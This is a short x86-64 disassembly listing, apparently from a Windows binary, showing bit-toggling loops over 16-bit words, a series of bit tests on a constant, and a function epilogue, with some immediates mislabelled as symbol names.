movzx ecx, r9w
movzx eax, byte [rsp + 0x4e]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
xor dl, dl
lea eax, [r12 + 1]
lea eax, [r12 + rax*2]
movzx r8d, word [rsp + rax*2 + 0x20]
nop dword [rax]
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x1402c1227
inc dl
cmp dl, 5
jne 0x1402c1210
jmp 0x1402c123b
movzx ecx, r9w
movzx eax, byte [rsp + 0x4d]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
movzx eax, byte [rsp + 0x4b]
add ax, r11w
xor ax, r9w
mov word [r10], ax
inc r12d
add r10, 2
cmp r12d, 5
jne 0x1402c1150
cmp word [rsp + 0x3e], 1
jne 0x1402c12b3
mov edx, 0x296d4d0b
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov eax, edx
shr eax, cl
test al, 1
je 0x1402c1280
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c12a7
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c12a7
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c12a7
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c12a7
mov cl, listen
shr edx, cl
test dl, 1
je 0x1402c12b3
call fcn.1403094db
mov byte [0x1403ec124], 0xe0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret